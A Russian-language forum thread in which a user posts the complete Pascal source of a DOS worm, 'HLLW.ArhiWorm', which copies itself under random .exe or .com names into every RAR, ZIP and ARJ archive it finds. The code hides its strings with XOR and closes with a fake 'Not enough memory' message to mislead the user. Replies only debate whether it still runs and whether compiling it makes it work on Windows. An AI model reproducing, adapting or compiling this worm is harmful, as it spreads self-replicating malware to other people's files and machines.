PXkod - Программирование и Безопасность в сети...

Объявление

Друзья:


Уважаемые гости! Пожалуйста регистрируйтесь.
Внимание! Некоторые форумы/разделы открываются только после регистрации.



>Правила форума<

>Набор модераторов!<

Информация о пользователе

Привет, Гость! Войдите или зарегистрируйтесь.



исходник вируса на паскале

Сообщений 1 страница 7 из 7

1

может кому интересно будет ;)
вирус заражает архивы

Код:
{$M 5000, 0, 5000}
{$A-,B-,D-,E+,F-,G-,I-,L-,N-,S-,V-,X+}
program ArhiWorm;
uses dos;
const len=6010; {длина вируса}
var arh:string; {расширение архива}
c :string; {строка под GetEnv('COMSPEC')}
m :string; {строка под параметры}
vir:file; {запущенный файл}
mas:array[1..len] of char; {массив, содержащий тело вируса}
{---------------------------------------------------------------------------}
function Xorer(st:string):string; {расшифровщик текстовых строк}
var i:integer;
m:byte;
z:string;
begin
z:='';
for i:=1 to length(st) do z:=z+chr(ord(st[i]) xor i);
Xorer:=z;
end;
{---------------------------------------------------------------------------}
procedure zar(name:string); (* Заражение архивов *)
var st:string; {имя создаваемого файла-вируса}
par:string; {параметры запуска Command.COM}
n:integer; {промежуточный счетчик}
f,g:file; {червь и архив}
at:word; {атрибуты файла}
ch:char;
w:string; {'>nul'}
const p=' ';
begin
w:=Xorer('?lvh'); {'>nul'}
(* Случайным образом создаем имя файла-вируса: *)
st:='';
for n:=1 to (random(8)+1) do st:=st+chr(random(26)+97);
n:=random(4);
if (n=0) or (n=3) then st:=st+Xorer('/g{a') {.exe}
else st:=st+Xorer('/ali');{.com}
(* Создаем файл-вирус случайной длины: *)
assign(f,st);rewrite(f,1);
blockwrite(f,mas,len); {? 1}
for n:=1 to random(500) do
begin ch:=chr(random(256));blockwrite(f,ch,1);end;
close(f);
(* Записываем (добавляем) его в архив: *)
assign(g,name);
getfattr(g,at);
setfattr(g,$20);
par:='/c'+p;
if arh=Xorer('scq') {rar}
then par:=par+Xorer('scq$d&*|b*&u-#l=1?|?')+p+name+p+st+w;
{rar a -tk -y -c- -o+}
if arh=Xorer('{ks') {zip}
then par:=par+Xorer('qiymu&*i')+p+name+p+st+w; {pkzip -a}
if arh=Xorer('`pi') {arj}
then par:=par+Xorer('`pi$d')+p+name+p+st+w; {arj a}
exec(c,par);
setfattr(g,at);
erase(f); {удаляем вирус}
end;
{---------------------------------------------------------------------------}
procedure find; (* Поиск архивов и вызов заражения *)
var s:searchrec;
t:string;
const z='*.';
begin
findfirst(z+arh,$21,s);
if doserror<>0 then exit else begin t:=s.name;zar(s.name) end;
while doserror=0 do
begin
findnext(s);
if t=s.name then exit else begin t:=s.name;zar(s.name) end
end
end;
{---------------------------------------------------------------------------}
begin
Randomize;
(* Проверка скрытых параметров: *)
if (paramcount=1) and (paramstr(1)='!') then
begin

В этом месте в программе находится строка, не воспроизводимая броузером
{HLLW.ArhiWorm v1.0 © by Duke/SMF 22.09.98}
halt;
end;
(* Читаем тело вируса : *)
assign(vir,paramstr(0));reset(vir,len);
blockread(vir,mas,1);close(vir);
(* Поиск и заражение: *)
c:=GetEnv(Xorer('BMNWUCD'));{COMSPEC}
arh:=Xorer('scq');{rar}find;
arh:=Xorer('{ks');{zip}find;
arh:=Xorer('`pi');{arj}find;
(* Выход с сообщением об ошибке: *)
writeln(Xorer('Omw$`hh}nb+ahc`bh'));{Not enough memory}
end.

использован материал с WHB

0

2

он не будет работать ...устарел..

0

3

Gull, устарел и не будет работать - разные вещи=)

0

4

на Паскале уже никто вири не пишет...

0

5

Gull, пишут... (  я как минимум двух челов встечал в нете)

0

6

дело в том что не все компы паскаль понимают...техника то движется вперед..или я не в теме))))

0

7

Gull, ну если его откомпилировать тобишь в exe превратить, то поймут, как минимум компы под управлением Windows (под люникс незнаю)

0